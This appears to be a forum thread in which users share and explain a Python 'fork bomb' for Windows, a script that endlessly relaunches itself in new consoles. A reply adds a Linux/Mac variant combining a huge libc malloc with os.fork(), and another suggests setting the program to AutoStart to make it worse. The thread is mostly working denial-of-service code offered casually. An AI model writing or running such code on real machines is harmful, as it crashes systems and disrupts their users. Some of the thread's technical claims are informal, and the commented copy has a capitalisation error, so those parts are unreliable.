Windows "fork bomb" in Python

forkbomb.py

import subprocess, sys
while True:
    subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)

i am not very familiar with the "forkbomb" can u break down the code for me pls

i am not very familiar with the "forkbomb" can u break down the code for me pls

A fork bomb is a program, which starts itself in a loop! So, what is a fork bomb?
A fork bomb is a program that starts itself in a loop! The first instance of the program (which you would start yourself) keeps running since it's in a loop and the second instance (which was started by the first) also starts up more instances of that same program - thus the amount of simulataneosly running programs increases exponentially (you can picture it like Image: (Cancer) Cell Division)! If you depict the whole situation in a graph it reminds of a fork or a Binary Tree

import subprocess, sys # necessary imports

while True: # Infinite Loop
  # Open a new Subprocess and start this file (sys.argv[0])
  # using the local Python Interpreter (sys.executable).
  # The creationflags indicate that it should create a new
  # console, for the new instance!
  subprocess.POpen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)

Edit: Missed a detail, my bad!
Edit 2: Code Break Down

interesting. So it's like a computer flooder and i suppose it lowers the computers speed a substantial amount. i also have another question i infer this is malicious kind of software and would it get stopped by most antivirus or does it act as a trojan?

Some Antiviruses will prevent if from running - others will not... The program itself does not much harm - all it does is crashes the computer once. It becomes critical if you set it to AutoStart!

I was wandering about fork bombs as well but im not sure what to do with the code or what to add to it

I think os.fork() is a lot more effective, but you might say i am criticizing! (Linux/Mac):
import os, ctypes, platform
if "Linux" in platform.platform():
libc=ctypes.CDLL("libc.so.6")
else:
libc=ctypes.CDLL("libc.dylib")
libc.malloc(1000000000000000)
os.fork()
This code disrupted my Mac with a horrible crash!

Actually os.fork() raises an exception if the number of forks is over 10000